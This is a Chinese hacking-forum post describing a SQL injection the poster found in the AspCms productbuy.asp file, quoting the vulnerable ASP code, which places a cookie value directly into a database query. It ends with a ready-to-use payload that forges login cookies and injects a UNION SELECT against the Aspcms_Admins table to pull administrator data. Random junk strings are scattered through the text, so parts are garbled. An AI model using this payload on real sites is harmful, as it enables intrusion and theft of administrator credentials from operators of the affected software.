好久没上土司了,上来一看发现在删号名单内.....
$ _& M( r7 T0 g$ }$ E- x8 H也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
e3 t7 p. c* v3 ?$ r, h废话不多说,看代码:- H- g0 K/ Q. B4 J! r
& V( j6 W; ]9 [7 r, f! y
<%) _' N7 I' K, S( \; x- ~) y
: I6 W& X. h9 V$ x( d0 A2 t4 \if action = "buy" then
* f+ }1 a5 t+ U( S5 H/ I8 f( f, [8 x. C' h8 b
addOrder()1 `. A9 @7 ?# D0 b4 i9 F
5 U) e" a" J9 H" L3 Z
else
& h8 N( }, `5 x/ J+ `
' k; \5 p+ M+ o- }" o7 s echoContent() K; L2 |: r Z9 p$ ~3 u3 \
/ F$ [' J6 l ~end if1 I. h' e8 D, b: c' t* {: |# w
) Y+ P' _$ ]' J8 k# W
0 e" Q( o5 c$ g' g2 r6 D( n, C3 v w" v' n# w. j
……略过3 R2 ]: c# f/ K6 Y6 y" N
$ ~& |2 g# f' I1 k% [1 a; Z- l. S
- R8 u2 K3 a: U, v" K) C
7 h6 X& l R5 p& e2 X
Sub echoContent()/ S" O' L9 q% K1 g/ H; _
# d& c# T& J2 s$ c W0 u$ A9 G6 _2 M
dim id3 [' G+ V g) V
4 F$ W% s( u# u) H& W7 A$ x: g5 r id=getForm("id","get")9 W, a, ~ A: }1 \
, F U, s8 u9 t : ]+ A: E- x& x5 Z* ~
2 K. ]; B9 G% e L( ^& r- v- ` if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
# h3 R, Z( R) w6 |9 {2 g6 B& @
# p0 C* O" U3 H _/ l. N( p- Z , }- p* y) N$ k# V( w' u% _' D
* B6 j" O6 C! g) k9 @5 W% `: c: \, u
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
: {6 A0 S# ]" |2 |6 ]2 D- L2 X! `7 c
% n- t: Q- h# P( M dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct: E: \1 w% {4 }- [" ^4 `5 N3 e* `
3 I6 }: O$ D' e; a9 M- }! c
Dim templatePath,tempStr) ?+ L9 G d, X- c% @' t6 O$ r
! ^5 B7 Z/ i# u2 e! w& e
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html". @; e' u! _0 R* V, j4 F
* F$ K2 t7 T- Y! {; d/ C3 C" I5 c; V( @) r" o& z
; Q+ [+ U2 h; F- C set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
0 F, v0 W/ ]) O7 F4 W x2 E: n+ R: @4 t$ I0 [
selectproduct=rsObj(0)' A1 l0 @) Q9 q4 b$ I
5 D |8 @4 Z2 Z5 L0 W# ]
7 }" X" b; y6 V3 o
7 R. t8 u7 t. Q! c" ?* S
Dim linkman,gender,phone,mobile,email,qq,address,postcode2 E9 V/ Z0 \" K5 b( z4 S( r
! ?8 c! o& u2 Z% ` if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
9 c' T; W, O# E1 n& T2 y: h- z0 i
5 C3 _+ y5 `& C5 w9 k if rCookie("loginstatus")=1 then
+ H$ u8 b) H! U' }8 _1 Z0 e% J3 E2 G3 R+ K$ E
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
+ F+ {0 P j. D+ C, P
( b7 {' G* J. r4 C) \1 e& Q linkman=rsObj("truename")
8 g/ C- i x2 [3 Q" |, J, Y3 e J- S, ]) Q% Q- \9 M f
gender=rsObj("gender")
0 F- x r7 R& z4 K6 H6 C3 N8 c3 j/ w% d7 o0 s0 ~0 g! {/ ~9 G) U
phone=rsObj("phone")
# k) d, [. o& c; }# W0 I, B4 @8 H: ^% R" o
mobile=rsObj("mobile")9 c+ V/ J8 d2 g2 T
+ [/ C6 n. d4 @
email=rsObj("email")
/ k) l; ]& L2 \. n/ m. V' J% o5 V7 F9 b% L0 T8 a
qq=rsObj("qq")% y5 L' S: ^$ E. _* C9 r9 ]
: b7 H" B3 V+ W( X
address=rsObj("address")
) ]; G0 m: ^3 F* B# v
K- ?2 _6 e! @8 X7 j8 ^% A postcode=rsObj("postcode")
+ O4 v/ G) c* A4 t, a
: L. v% }1 Z. i0 y' @ else
9 n% x8 c5 v. F, H5 g( ^
/ U7 u5 C3 O! q- F3 ] gender=14 z% r1 i4 `+ h! ` k
5 q. i( E9 ^) K end if
. ?4 y9 A7 ~6 M, N; ?. T
Y1 B8 x! j8 p rsObj.close()! n7 T6 [0 i- R; U) H. N; E
. ~4 W( }9 ^' k 3 x2 l7 o; A1 J! ?; H: w# E
8 w# z0 R. ]" P' U1 @
with templateObj
" a& R1 B( O S6 E% ^/ s" t, x0 ^( n I
.content=loadFile(templatePath)
: @8 Q# j1 F3 J7 w& C6 G
5 o$ X: o3 m0 f, |4 P .parseHtml()
3 o( _8 g! O3 d2 W7 V" z4 }
p4 ?2 G! K! p5 h1 v1 q4 L .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
; z* P: t' U3 C4 F6 F: T0 P
) A% T9 m% O: x0 { .content=replaceStr(.content,"[aspcms:linkman]",linkman) : R! X+ x$ m n& S1 v* l9 q* f) R
# e! [& q- w6 z- u% E7 P" S/ Y .content=replaceStr(.content,"[aspcms:gender]",gender) " P% G" A& v6 r$ |) Z# ?3 _
7 w5 ~6 @: ^ g, K) j
.content=replaceStr(.content,"[aspcms:phone]",phone) . y; D. p0 @* S! ?* ^
- V4 W3 r" E0 U, D# D# {
.content=replaceStr(.content,"[aspcms:mobile]",mobile)
5 [0 y& ~& \0 V( p- W* Z6 @0 k
1 C/ O$ d7 Z4 n2 J# v+ H" P- u .content=replaceStr(.content,"[aspcms:email]",email) - o, f' a, V( `: A( G
: ]" r# p, A5 H6 Q; m' m: E
.content=replaceStr(.content,"[aspcms:qq]",qq) 9 q4 v v# _. i* f$ o; n
3 t G9 k$ ~- l* ~
.content=replaceStr(.content,"[aspcms:address]",address) 4 z e& m5 \2 ?0 t' g9 ?
* M, k) C( Q5 U5 i/ {
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
y; c w4 U8 [/ P; ]8 O a) ]$ E: P8 `; s9 e2 G4 U
.parseCommon() ) v& A% v& Y4 D5 P9 {
) C0 X1 M$ V; V4 E echo .content
! T5 D7 f/ o5 @9 R" C. U I
1 y% V2 I# n% |( C( V: f end with7 z+ ~+ ?, c9 m' }
- k% @1 E, M: v/ o6 ?7 p- P
set templateobj =nothing : terminateAllObjects* F6 b! c/ Z1 C* b
9 {- ^0 @5 W$ T/ e# O7 k! PEnd Sub. F; Z9 O. D: E& M* s: U2 N- A
漏洞很明显,没啥好说的
! A; d5 [& z4 Npoc:0 P! x' q8 N0 {& @
$ l* v: G, c( m, e2 ~, g) K8 A
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子% u& Y$ u( l: }5 R; a
# G; o$ a8 C! M* e8 s8 }/ A
|